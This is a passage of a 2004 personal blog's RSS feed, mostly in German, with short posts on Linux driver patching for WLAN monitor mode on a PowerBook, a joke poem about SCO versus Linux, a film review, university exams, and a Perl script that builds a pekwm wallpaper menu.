  14256.    <content:encoded><![CDATA[Schon nur weil ich am heutigen Datum erst wieder in 4 Jahren was schreiben kann, muss dieser Eintrag hier sein ;-)<br>Aber auch weil ich durch die Lektüre folgender Artikel zu einem Rewrite (ja, from Scratch) von meinem Weblog motiviert worden bin. Insbesondere hat mich der Artikel über Template Engines beeindruck, da hier mit einer völlig anderen Ansicht an das Problem herangegangen wird, als ich es bisher getan habe. An dieser Stelle wäre es natürlich interessant zu wissen wie andere Leute ihre Templates handhaben.<br><br><a href="https://web.archive.org/web/20040405022004/http://revjim.net/item/3956/" title="how to write better code (archive.org)"><b>how to write better code</b></a><br><a href="https://web.archive.org/web/20040203074914/http://laughingmeme.org/archives/001055.html" title="A Few Tips for Writing Useful Libraries in PHP (archive.org)"><b>A Few Tips for Writing Useful Libraries in PHP</b></a><br><a href="http://www.massassi.com/php/articles/template_engines/" title="Template Engines"><b>Template Engines</b></a><br><a href="https://web.archive.org/web/20040415155551/http://www.mojofat.com/tutorial/index.html" title="Functional Spec Tutorial - What and Why (archive.org)"><b>Functional Specification Tutorial</b></a>
  14257. ]]></content:encoded>
  14258.  </item>
  14259.  
  14260.  <item>
  14261.    <title>Pinguinfunk</title>
  14262.    <link>https://blog.x-way.org/Linux/2004/02/23/Pinguinfunk.html</link>
  14263.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324008</guid>
  14264.    <dc:creator>Andreas Jaggi</dc:creator>
  14265.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14266.    <pubDate>Mon, 23 Feb 2004 16:08:00 +0100</pubDate>
  14267.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  14268.    <description><![CDATA[Da es für die im PowerBook eingebaute Airport Extreme WLAN-Karte (Broadcom) keine Linuxtreiber gibt, habe ich vor ein paar Wochen eine <a href="https://www.netgear.com/support/product/ma401" title="MA401 | Product | Support | NETGEAR"><b>Netgear MA401RA</b></a> günstig erworben (ist ein Auslaufmodell). Für diese hat es im Kernel selbst Treiber.<br><br>Um <a href="http://pcmcia-cs.sourceforge.net/" title="PCMCIA mit Linux"><b>PCMCIA</b></a> aufm PowerBook zum Laufen zu bringen benötigte es eine spezielle <a href="https://blog.x-way.org/stuff/config.opts" title="config.opts herunterladen"><b>config.opts</b></a>. Nun funktioniert die drahtlose Verbindung problemlos. Jedoch unterstützen die Treiber des Kernels den <a href="https://web.archive.org/web/20040401210309/http://airsnort.shmoo.com/orinocoinfo.html" title="Link zur Orinoco-Monitor-Seite (archive.org)"><b>Monitor-Modus</b></a> nicht, welcher für Spielereien wie <a href="http://www.kismetwireless.net/" title="802.11 layer2 wireless network detector, sniffer, and intrusion detection system"><b>Kismet</b></a>, <a href="https://wellenreiter.sourceforge.net/" title="wireless network discovery and auditing tool"><b>wellenreiter</b></a> etc. benötigt wird. Um diesen Modus nützen zu können müssen zuerst die Treiber <a href="https://blog.x-way.org/stuff/orinoco-0.13e-2.6.2-patch.diff" title="den Patch herunterladen"><b>gepatcht</b></a> werden (der Patch funktioniert partiel auch für 2.6.1 und 2.6.3 Kernel).<br>Dazu einfach den Patch ins Verzeichnis /usr/src/linux/drivers/net/wireless/ kopieren und dort folgenden Befehl ausführen: patch -p4 &lt; orinoco-0.13e-2.6.2-patch.diff<br><br>Dummerweise schneits draussen und ich bin erkältet, so dass ich nicht <a href="http://wardriving.ch/" title="wardriving.ch"><b>spielen</b></a> gehen kann :-(
  14269. ]]></description>
  14270.    <content:encoded><![CDATA[Da es für die im PowerBook eingebaute Airport Extreme WLAN-Karte (Broadcom) keine Linuxtreiber gibt, habe ich vor ein paar Wochen eine <a href="https://www.netgear.com/support/product/ma401" title="MA401 | Product | Support | NETGEAR"><b>Netgear MA401RA</b></a> günstig erworben (ist ein Auslaufmodell). Für diese hat es im Kernel selbst Treiber.<br><br>Um <a href="http://pcmcia-cs.sourceforge.net/" title="PCMCIA mit Linux"><b>PCMCIA</b></a> aufm PowerBook zum Laufen zu bringen benötigte es eine spezielle <a href="https://blog.x-way.org/stuff/config.opts" title="config.opts herunterladen"><b>config.opts</b></a>. Nun funktioniert die drahtlose Verbindung problemlos. Jedoch unterstützen die Treiber des Kernels den <a href="https://web.archive.org/web/20040401210309/http://airsnort.shmoo.com/orinocoinfo.html" title="Link zur Orinoco-Monitor-Seite (archive.org)"><b>Monitor-Modus</b></a> nicht, welcher für Spielereien wie <a href="http://www.kismetwireless.net/" title="802.11 layer2 wireless network detector, sniffer, and intrusion detection system"><b>Kismet</b></a>, <a href="https://wellenreiter.sourceforge.net/" title="wireless network discovery and auditing tool"><b>wellenreiter</b></a> etc. benötigt wird. Um diesen Modus nützen zu können müssen zuerst die Treiber <a href="https://blog.x-way.org/stuff/orinoco-0.13e-2.6.2-patch.diff" title="den Patch herunterladen"><b>gepatcht</b></a> werden (der Patch funktioniert partiel auch für 2.6.1 und 2.6.3 Kernel).<br>Dazu einfach den Patch ins Verzeichnis /usr/src/linux/drivers/net/wireless/ kopieren und dort folgenden Befehl ausführen: patch -p4 &lt; orinoco-0.13e-2.6.2-patch.diff<br><br>Dummerweise schneits draussen und ich bin erkältet, so dass ich nicht <a href="http://wardriving.ch/" title="wardriving.ch"><b>spielen</b></a> gehen kann :-(
  14271. ]]></content:encoded>
  14272.  </item>
  14273.  
  14274.  <item>
  14275.    <title>Sco vs. Linux</title>
  14276.    <link>https://blog.x-way.org/Linux/2004/02/21/Sco_vs_Linux.html</link>
  14277.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324007</guid>
  14278.    <dc:creator>Andreas Jaggi</dc:creator>
  14279.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14280.    <pubDate>Sat, 21 Feb 2004 19:00:00 +0100</pubDate>
  14281.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  14282.    <description><![CDATA[Zehn kleine UNIX Zeilen<br>
  14283. Reicht man ein zur Klage.<br>
  14284. Die eine die auf griechisch war,<br>
  14285. War leider viel zu vage.<br>
  14286. <br>
  14287. Neun kleine UNIX Zeilen<br>
  14288. Sollten es begründen.<br>
  14289. Die eine war trotz größter Müh'<br>
  14290. In LINUX nicht zu finden.<br>
  14291. <br>
  14292. Acht kleine UNIX Zeilen<br>
  14293. Dienten zum Beweise.<br>
  14294. Die eine war aus BSD,<br>
  14295. Pech für Anwalt Heise.<br>
  14296. <br>
  14297. Sieben kleine UNIX Zeilen,<br>
  14298. Kamen vor Gericht.<br>
  14299. Die eine war 'ne Fehlernummer,<br>
  14300. Die taugte dazu nicht.<br>
  14301. <br>
  14302. Sechs kleine UNIX Zeilen,<br>
  14303. Sollten es belegen.<br>
  14304. Doch eine kam zur GPL<br>
  14305. Durch SCO Kollegen.<br>
  14306. <br>
  14307. Fünf kleine UNIX Zeilen<br>
  14308. Waren noch dabei.<br>
  14309. Die eine kam von einem Band<br>
  14310. Mit Aufschrift System Drei.<br>
  14311. <br>
  14312. Vier kleine UNIX Zeilen,<br>
  14313. Doch eine, sonderbar,<br>
  14314. Gehörte nicht zum dem Programm,<br>
  14315. Sie war ein Kommentar.<br>
  14316. <br>
  14317. Drei Kleine UNIX Zeilen,<br>
  14318. Waren das Problem.<br>
  14319. Eine war zwar System Five,<br>
  14320. Doch kam von IBM.<br>
  14321. <br>
  14322. Zwei kleine UNIX Zeilen,<br>
  14323. Waren noch geblieben.<br>
  14324. Die eine war schon reichlich alt<br>
  14325. Und kam von System Sieben.<br>
  14326. <br>
  14327. Eine kleine UNIX Zeile<br>
  14328. Wurde angeführt.<br>
  14329. Die hatte Linus Torvalds selbst<br>
  14330. Am Anfang programmiert.<br>
  14331. <br>
  14332. Ohne eine UNIX Zeile<br>
  14333. Kann SCO nichts machen.<br>
  14334. Doch eines muss man zugestehn:<br>
  14335. Wir hatten was zu lachen.<br>
  14336. <br>
  14337. Schlussbemerkung:<br>
  14338. Hier zeigt sehr schön ein Kinderlied,<br>
  14339. Warum McBride die Wahrheit mied.<br>
  14340. <br>
  14341. <br>
  14342. Ausm <a href="http://www.heise.de/newsticker/foren/go.shtml?read=1&amp;msg_id=5143681&amp;forum_id=53189"><b>heise online-Leserforum</b></a> via <a href="http://vowe.net/"><b>vowe.net</b></a>
  14343. ]]></description>
  14344.    <content:encoded><![CDATA[Zehn kleine UNIX Zeilen<br>
  14345. Reicht man ein zur Klage.<br>
  14346. Die eine die auf griechisch war,<br>
  14347. War leider viel zu vage.<br>
  14348. <br>
  14349. Neun kleine UNIX Zeilen<br>
  14350. Sollten es begründen.<br>
  14351. Die eine war trotz größter Müh'<br>
  14352. In LINUX nicht zu finden.<br>
  14353. <br>
  14354. Acht kleine UNIX Zeilen<br>
  14355. Dienten zum Beweise.<br>
  14356. Die eine war aus BSD,<br>
  14357. Pech für Anwalt Heise.<br>
  14358. <br>
  14359. Sieben kleine UNIX Zeilen,<br>
  14360. Kamen vor Gericht.<br>
  14361. Die eine war 'ne Fehlernummer,<br>
  14362. Die taugte dazu nicht.<br>
  14363. <br>
  14364. Sechs kleine UNIX Zeilen,<br>
  14365. Sollten es belegen.<br>
  14366. Doch eine kam zur GPL<br>
  14367. Durch SCO Kollegen.<br>
  14368. <br>
  14369. Fünf kleine UNIX Zeilen<br>
  14370. Waren noch dabei.<br>
  14371. Die eine kam von einem Band<br>
  14372. Mit Aufschrift System Drei.<br>
  14373. <br>
  14374. Vier kleine UNIX Zeilen,<br>
  14375. Doch eine, sonderbar,<br>
  14376. Gehörte nicht zum dem Programm,<br>
  14377. Sie war ein Kommentar.<br>
  14378. <br>
  14379. Drei Kleine UNIX Zeilen,<br>
  14380. Waren das Problem.<br>
  14381. Eine war zwar System Five,<br>
  14382. Doch kam von IBM.<br>
  14383. <br>
  14384. Zwei kleine UNIX Zeilen,<br>
  14385. Waren noch geblieben.<br>
  14386. Die eine war schon reichlich alt<br>
  14387. Und kam von System Sieben.<br>
  14388. <br>
  14389. Eine kleine UNIX Zeile<br>
  14390. Wurde angeführt.<br>
  14391. Die hatte Linus Torvalds selbst<br>
  14392. Am Anfang programmiert.<br>
  14393. <br>
  14394. Ohne eine UNIX Zeile<br>
  14395. Kann SCO nichts machen.<br>
  14396. Doch eines muss man zugestehn:<br>
  14397. Wir hatten was zu lachen.<br>
  14398. <br>
  14399. Schlussbemerkung:<br>
  14400. Hier zeigt sehr schön ein Kinderlied,<br>
  14401. Warum McBride die Wahrheit mied.<br>
  14402. <br>
  14403. <br>
  14404. Ausm <a href="http://www.heise.de/newsticker/foren/go.shtml?read=1&amp;msg_id=5143681&amp;forum_id=53189"><b>heise online-Leserforum</b></a> via <a href="http://vowe.net/"><b>vowe.net</b></a>
  14405. ]]></content:encoded>
  14406.  </item>
  14407.  
  14408.  <item>
  14409.    <title>Les Rivières pourpres 2 - les anges de l'apocalypse</title>
  14410.    <link>https://blog.x-way.org/Cinema/2004/02/21/Les_Rivieres_pourpres_2_-_les_anges_de_lapocalypse.html</link>
  14411.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324006</guid>
  14412.    <dc:creator>Andreas Jaggi</dc:creator>
  14413.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14414.    <pubDate>Sat, 21 Feb 2004 17:02:00 +0100</pubDate>
  14415.    <category domain="https://blog.x-way.org/Cinema/">Cinema</category>
  14416.    <description><![CDATA[Dans les stations du métro de Paris il y a partout des affiches pour <a href="http://www.allocine.fr/film/fichefilm_gen_cfilm=47703.html"><b>"Les Rivières pourpres 2"</b></a>. Alors j'ai suivi cettes affiches et je suis aller regarder le film le mercredi soir dans un cinéma située à <a href="https://web.archive.org/web/20040405052654/http://www.allocine.fr/cinema/visite.html?ID=C0159"><b>"les halles"</b></a>.<br><br><a href="http://www.allocine.fr/personne/fichepersonne_gen_cpersonne=20836.html"><b>Olivier Dahan</b></a> a créé le film en utilisant beaucoup de lumière colorée qui produit une ambiance spéciale. De plus le film me plait beaucoup car <a href="http://www.allocine.fr/personne/fichepersonne_gen_cpersonne=1659.html"><b>Jean Reno</b></a> y joue le rôle d'un commissaire.
  14417. ]]></description>
  14418.    <content:encoded><![CDATA[Dans les stations du métro de Paris il y a partout des affiches pour <a href="http://www.allocine.fr/film/fichefilm_gen_cfilm=47703.html"><b>"Les Rivières pourpres 2"</b></a>. Alors j'ai suivi cettes affiches et je suis aller regarder le film le mercredi soir dans un cinéma située à <a href="https://web.archive.org/web/20040405052654/http://www.allocine.fr/cinema/visite.html?ID=C0159"><b>"les halles"</b></a>.<br><br><a href="http://www.allocine.fr/personne/fichepersonne_gen_cpersonne=20836.html"><b>Olivier Dahan</b></a> a créé le film en utilisant beaucoup de lumière colorée qui produit une ambiance spéciale. De plus le film me plait beaucoup car <a href="http://www.allocine.fr/personne/fichepersonne_gen_cpersonne=1659.html"><b>Jean Reno</b></a> y joue le rôle d'un commissaire.
  14419. ]]></content:encoded>
  14420.  </item>
  14421.  
  14422.  <item>
  14423.    <title>T minus 16560s</title>
  14424.    <link>https://blog.x-way.org/Misc/2004/02/16/T_minus_16560s.html</link>
  14425.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324005</guid>
  14426.    <dc:creator>Andreas Jaggi</dc:creator>
  14427.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14428.    <pubDate>Mon, 16 Feb 2004 01:24:00 +0100</pubDate>
  14429.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14430.    <description><![CDATA[<a href="http://paris.fr/" title="Paris"><b>Paris</b></a>
  14431. ]]></description>
  14432.    <content:encoded><![CDATA[<a href="http://paris.fr/" title="Paris"><b>Paris</b></a>
  14433. ]]></content:encoded>
  14434.  </item>
  14435.  
  14436.  <item>
  14437.    <title>sutfym</title>
  14438.    <link>https://blog.x-way.org/Misc/2004/02/11/sutfym.html</link>
  14439.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324004</guid>
  14440.    <dc:creator>Andreas Jaggi</dc:creator>
  14441.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14442.    <pubDate>Wed, 11 Feb 2004 01:11:00 +0100</pubDate>
  14443.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14444.    <description><![CDATA[<img src="https://blog.x-way.org/images/joda-stfu.jpg" width="420" height="444" alt="shut up the fuck. you must"><br><br>Via <a href="https://web.archive.org/web/20040609102039/http://guy.galez.org/"><b>Galez Guy of the Day</b></a>
  14445. ]]></description>
  14446.    <content:encoded><![CDATA[<img src="https://blog.x-way.org/images/joda-stfu.jpg" width="420" height="444" alt="shut up the fuck. you must"><br><br>Via <a href="https://web.archive.org/web/20040609102039/http://guy.galez.org/"><b>Galez Guy of the Day</b></a>
  14447. ]]></content:encoded>
  14448.  </item>
  14449.  
  14450.  <item>
  14451.    <title>Pröbelei</title>
  14452.    <link>https://blog.x-way.org/School/2004/02/03/Proebelei.html</link>
  14453.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324003</guid>
  14454.    <dc:creator>Andreas Jaggi</dc:creator>
  14455.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14456.    <pubDate>Tue, 03 Feb 2004 17:03:00 +0100</pubDate>
  14457.    <category domain="https://blog.x-way.org/School/">School</category>
  14458.    <description><![CDATA[Heute Morgen eine Probe in "Introduction aux systèmes informatiques" gehabt. Lustigerweise hat der Professor, dessen Unterricht und Übungen das ganze Semester hindurch supereinfach waren, nun eine Probe geschrieben, die nicht damit vergleichbar ist, sondern viel viel schwerer war. Da mir dieses Gebiet etwas liegt, war die Probe trotzdem ziemlich gut verlaufen.<br>Am Nachmittag dann Probe in Elektronik. Hier hat der Dozent, quasi die genau gleichen Aufgaben gegeben, die er vor einer Woche als Probevorbereitung mit der ganzen Klasse vorgelöst hatte. Weil ich beim Elektronik jedoch nicht so ganz mitkomme, wird diese Probe vermutlich gerade genügend werden.<br>Vor einer Stunde Probe in "Design industriel". 6 Aufgaben, 5 davon von einer netten Architekturstudentin abgeschrieben, als Sie mich fragt, ob ich noch etwas nicht wisse, legt Sie mir auch noch Ihre Lösung für die 6. Aufgabe hin. :-)<br>Nunja, in der Reihe vor mir, haben zwei die Probe gelöst, indem Sie die Lösungen mit dem Laptop im Internet nachgeschlagen haben.<br><br>Leider zählt vor allem die Elektronikprobe (Koeffizient 3 oder 4 von insgesamt 12). "Introduction aux systèmes informatiques" zählt fast nichts (Koeffizient 1 oder2) und "Design Industriel" überhaupt nichts (Koeffizient 0.25) :-(
  14459. ]]></description>
  14460.    <content:encoded><![CDATA[Heute Morgen eine Probe in "Introduction aux systèmes informatiques" gehabt. Lustigerweise hat der Professor, dessen Unterricht und Übungen das ganze Semester hindurch supereinfach waren, nun eine Probe geschrieben, die nicht damit vergleichbar ist, sondern viel viel schwerer war. Da mir dieses Gebiet etwas liegt, war die Probe trotzdem ziemlich gut verlaufen.<br>Am Nachmittag dann Probe in Elektronik. Hier hat der Dozent, quasi die genau gleichen Aufgaben gegeben, die er vor einer Woche als Probevorbereitung mit der ganzen Klasse vorgelöst hatte. Weil ich beim Elektronik jedoch nicht so ganz mitkomme, wird diese Probe vermutlich gerade genügend werden.<br>Vor einer Stunde Probe in "Design industriel". 6 Aufgaben, 5 davon von einer netten Architekturstudentin abgeschrieben, als Sie mich fragt, ob ich noch etwas nicht wisse, legt Sie mir auch noch Ihre Lösung für die 6. Aufgabe hin. :-)<br>Nunja, in der Reihe vor mir, haben zwei die Probe gelöst, indem Sie die Lösungen mit dem Laptop im Internet nachgeschlagen haben.<br><br>Leider zählt vor allem die Elektronikprobe (Koeffizient 3 oder 4 von insgesamt 12). "Introduction aux systèmes informatiques" zählt fast nichts (Koeffizient 1 oder2) und "Design Industriel" überhaupt nichts (Koeffizient 0.25) :-(
  14461. ]]></content:encoded>
  14462.  </item>
  14463.  
  14464.  <item>
  14465.    <title>Mars</title>
  14466.    <link>https://blog.x-way.org/Misc/2004/01/27/Mars.html</link>
  14467.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324002</guid>
  14468.    <dc:creator>Andreas Jaggi</dc:creator>
  14469.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14470.    <pubDate>Tue, 27 Jan 2004 18:08:00 +0100</pubDate>
  14471.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14472.    <description><![CDATA[<img src="https://blog.x-way.org/images/mars_02.jpg" alt="Erde auf Mars"><br><br>Gefunden bei <a href="http://www.bsd-network.org/weblog/archives/2004/01/27/leben-auf-dem-mars-part-n/"><b>mindtrap</b></a>
  14473. ]]></description>
  14474.    <content:encoded><![CDATA[<img src="https://blog.x-way.org/images/mars_02.jpg" alt="Erde auf Mars"><br><br>Gefunden bei <a href="http://www.bsd-network.org/weblog/archives/2004/01/27/leben-auf-dem-mars-part-n/"><b>mindtrap</b></a>
  14475. ]]></content:encoded>
  14476.  </item>
  14477.  
  14478.  <item>
  14479.    <title>lmud-0.02-fg-1.tar</title>
  14480.    <link>https://blog.x-way.org/Linux/2004/01/21/lmud-002-fg-1tar.html</link>
  14481.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324001</guid>
  14482.    <dc:creator>Andreas Jaggi</dc:creator>
  14483.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14484.    <pubDate>Wed, 21 Jan 2004 09:48:00 +0100</pubDate>
  14485.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  14486.    <description><![CDATA[<a href="https://blog.x-way.org/stuff/lmud-0.02-fg-1.tar"><b>lmud-0.02-fg-1.tar</b></a> ist verfügbar. Neu mit Kontrolle der Displayhelligkeit und einem "smooth"en Helligkeitswechsel.
  14487. ]]></description>
  14488.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/stuff/lmud-0.02-fg-1.tar"><b>lmud-0.02-fg-1.tar</b></a> ist verfügbar. Neu mit Kontrolle der Displayhelligkeit und einem "smooth"en Helligkeitswechsel.
  14489. ]]></content:encoded>
  14490.  </item>
  14491.  
  14492.  <item>
  14493.    <title>lmud-0.01.tar.gz</title>
  14494.    <link>https://blog.x-way.org/Mac/2004/01/18/lmud-001targz.html</link>
  14495.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324000</guid>
  14496.    <dc:creator>Andreas Jaggi</dc:creator>
  14497.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14498.    <pubDate>Sun, 18 Jan 2004 13:28:00 +0100</pubDate>
  14499.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  14500.    <description><![CDATA[In der debian-powerpc-Mailingliste hat Alexander Clausen, ein kleines Programm veröffentlicht, mit dem man beim PowerBook die Tastaturbeleuchtung steuern und die Lichtsensore abfragen kann. Dank meiner nicht vorhandenen C-Kentnisse, ist nun ein quick'n'dirty daemon dazu entstanden, der ab einer gewissen Dunkelheit automatisch die Tastaturbeleuchtung einschaltet. <a href="https://blog.x-way.org/stuff/lmud-0.01.tar.gz"><b>lmud-0.01.tar.gz</b></a>
  14501. ]]></description>
  14502.    <content:encoded><![CDATA[In der debian-powerpc-Mailingliste hat Alexander Clausen, ein kleines Programm veröffentlicht, mit dem man beim PowerBook die Tastaturbeleuchtung steuern und die Lichtsensore abfragen kann. Dank meiner nicht vorhandenen C-Kentnisse, ist nun ein quick'n'dirty daemon dazu entstanden, der ab einer gewissen Dunkelheit automatisch die Tastaturbeleuchtung einschaltet. <a href="https://blog.x-way.org/stuff/lmud-0.01.tar.gz"><b>lmud-0.01.tar.gz</b></a>
  14503. ]]></content:encoded>
  14504.  </item>
  14505.  
  14506.  <item>
  14507.    <title>Mac OS X Ext2 Filesystem</title>
  14508.    <link>https://blog.x-way.org/Mac/2004/01/15/Mac_OS_X_Ext2_Filesystem.html</link>
  14509.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323999</guid>
  14510.    <dc:creator>Andreas Jaggi</dc:creator>
  14511.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14512.    <pubDate>Thu, 15 Jan 2004 11:37:00 +0100</pubDate>
  14513.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  14514.    <description><![CDATA[Durch <a href="https://sourceforge.net/projects/ext2fsx/"><b>ext2fsx</b></a> wird ein für mich bisher gravierendes Problem gelöst: Lese- und Schreibzugriff auf eine Partition mit Linux <b>und</b> MacOS X.
  14515. ]]></description>
  14516.    <content:encoded><![CDATA[Durch <a href="https://sourceforge.net/projects/ext2fsx/"><b>ext2fsx</b></a> wird ein für mich bisher gravierendes Problem gelöst: Lese- und Schreibzugriff auf eine Partition mit Linux <b>und</b> MacOS X.
  14517. ]]></content:encoded>
  14518.  </item>
  14519.  
  14520.  <item>
  14521.    <title>GNUpg und Apple Mail</title>
  14522.    <link>https://blog.x-way.org/Mac/2004/01/13/GNUpg_und_Apple_Mail.html</link>
  14523.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323998</guid>
  14524.    <dc:creator>Andreas Jaggi</dc:creator>
  14525.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14526.    <pubDate>Tue, 13 Jan 2004 18:07:00 +0100</pubDate>
  14527.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  14528.    <description><![CDATA[Dank <a href="http://macgpg.sourceforge.net/de/index.html"><b>Mac GPG</b></a> und <a href="http://www.sente.ch/software/GPGMail/English.lproj/GPGMail.html"><b>PGP for Apple Mail</b></a> kann ich nun auch mit MacOS X verschlüsselte Mails benutzen.
  14529. ]]></description>
  14530.    <content:encoded><![CDATA[Dank <a href="http://macgpg.sourceforge.net/de/index.html"><b>Mac GPG</b></a> und <a href="http://www.sente.ch/software/GPGMail/English.lproj/GPGMail.html"><b>PGP for Apple Mail</b></a> kann ich nun auch mit MacOS X verschlüsselte Mails benutzen.
  14531. ]]></content:encoded>
  14532.  </item>
  14533.  
  14534.  <item>
  14535.    <title>OggVorbis in iTunes</title>
  14536.    <link>https://blog.x-way.org/Mac/2004/01/12/OggVorbis_in_iTunes.html</link>
  14537.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323997</guid>
  14538.    <dc:creator>Andreas Jaggi</dc:creator>
  14539.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14540.    <pubDate>Mon, 12 Jan 2004 13:11:00 +0100</pubDate>
  14541.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  14542.    <description><![CDATA[Nach längerem suchen, habe ich endlich etwas gefunden, womit ich in iTunes (Mac OSX 10.3.??) OggVorbis-Dateien abspielen kann: <a href="https://blog.x-way.org/stuff/OggVorbis.component"><b>OggVorbis.component</b></a>, einfach in /Library/QuickTime/ kopieren und die Qualität von OggVorbis geniessen.
  14543. ]]></description>
  14544.    <content:encoded><![CDATA[Nach längerem suchen, habe ich endlich etwas gefunden, womit ich in iTunes (Mac OSX 10.3.??) OggVorbis-Dateien abspielen kann: <a href="https://blog.x-way.org/stuff/OggVorbis.component"><b>OggVorbis.component</b></a>, einfach in /Library/QuickTime/ kopieren und die Qualität von OggVorbis geniessen.
  14545. ]]></content:encoded>
  14546.  </item>
  14547.  
  14548.  <item>
  14549.    <title>pekwm_bgset.pl</title>
  14550.    <link>https://blog.x-way.org/Linux/2004/01/11/pekwm_bgsetpl.html</link>
  14551.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323996</guid>
  14552.    <dc:creator>Andreas Jaggi</dc:creator>
  14553.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14554.    <pubDate>Sun, 11 Jan 2004 14:07:00 +0100</pubDate>
  14555.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  14556.    <description><![CDATA[Ich habe mein <a href="http://www.waterwave.ch/weblog/detail.php?id=323995"><b>Wallpaper-Script</b></a> noch ein bisschen ausgebaut. Nun wird das ausgewählte Bild in ~/.pekwm/start eingetragen, damit es bei jedem Start von pekwm automatisch geladen wird.
  14557. <br><br>
  14558. <pre>#!/usr/bin/perl
  14559. #
  14560. # 2003 by x-way - http://waterwave.ch/weblog
  14561. #
  14562. # Add this to your menu, if you have pekwm's dynamic menu support:
  14563. #
  14564. # SubMenu = "Backgrounds" {
  14565. #   Entry { Actions = "Dynamic /path/to/this/file /path/to/your/wallpapers" }
  14566. # }
  14567. #
  14568.  
  14569. use warnings "all";
  14570. use strict;
  14571.  
  14572. if($ARGV[0] eq '-set') {
  14573.        my $wallpaper = $ARGV[1];
  14574.        
  14575.        open(PKCONF, "&lt;$ENV{HOME}/.pekwm/start") or die "Can't open ~/.pekwm/start";
  14576.        my @file = &lt;PKCONF&gt;;
  14577.        close(PKCONF);
  14578.  
  14579.        my @file2 = ();
  14580.        my $set = '';
  14581.  
  14582.        foreach (@file) {
  14583.                s/^xsetbg -center ".*"/xsetbg -center "$wallpaper"/gi;
  14584.                push(@file2, $_);
  14585.                
  14586.                if(index($_, 'xsetbg -center') == 0) {
  14587.                        $set = $_;
  14588.                }
  14589.        };
  14590.        
  14591.        if($set eq "") {
  14592.                push(@file2, "xsetbg -center \"".$wallpaper."\"");
  14593.        }
  14594.        
  14595.        open(PKCONF, "&gt;$ENV{HOME}/.pekwm/start") or die "Can't write ~/.pekwm/start";
  14596.        print(PKCONF @file2);
  14597.        close(PKCONF);
  14598. } else {
  14599.  
  14600.        print("Dynamic {\n");
  14601.  
  14602.        for(my $i = 0; $i &lt; scalar(@ARGV); $i++) {
  14603.                my $dir = $ARGV[$i];
  14604.  
  14605.                opendir(DIR, "$dir") || die "Can't opendir $dir: $!";
  14606.                my @backgrounds = grep { (! /^\./) } readdir(DIR);
  14607.                closedir DIR;
  14608.  
  14609.                foreach my $x (@backgrounds) {
  14610.                        my $y = $x;
  14611.                        $y =~ s+.*/++g;
  14612.  
  14613.                        if(! -d "$dir/$x") {
  14614.                                $y =~ s/\.[^\.]*$//g;
  14615.                                $y =~ s/(_|-)[0-9]{3,4}(x[0-9]{3,4}|)//g;
  14616.                                $y =~ s/_/ /g;
  14617.                                $y =~ s/%20/ /g;
  14618.                                print("Entry = \"$y\" { Actions = \"Exec xsetbg -center \\\"$dir/$x\\\" &amp;&amp; $0 -set \\\"$dir/$x\\\" \" }\n");
  14619.                        } else {
  14620.                                print("Submenu = \"$y\" {\nEntry { Actions = \"Dynamic $0 \\\"$dir/$x\\\" \" }\n}");
  14621.                        }
  14622.                }
  14623.        }
  14624.  
  14625.        print("}\n");
  14626. }</pre>
  14627. ]]></description>
  14628.    <content:encoded><![CDATA[Ich habe mein <a href="http://www.waterwave.ch/weblog/detail.php?id=323995"><b>Wallpaper-Script</b></a> noch ein bisschen ausgebaut. Nun wird das ausgewählte Bild in ~/.pekwm/start eingetragen, damit es bei jedem Start von pekwm automatisch geladen wird.
  14629. <br><br>
  14630. <pre>#!/usr/bin/perl
  14631. #
  14632. # 2003 by x-way - http://waterwave.ch/weblog
  14633. #
  14634. # Add this to your menu, if you have pekwm's dynamic menu support:
  14635. #
  14636. # SubMenu = "Backgrounds" {
  14637. #   Entry { Actions = "Dynamic /path/to/this/file /path/to/your/wallpapers" }
  14638. # }
  14639. #
  14640.  
  14641. use warnings "all";
  14642. use strict;
  14643.  
  14644. if($ARGV[0] eq '-set') {
  14645.        my $wallpaper = $ARGV[1];
  14646.        
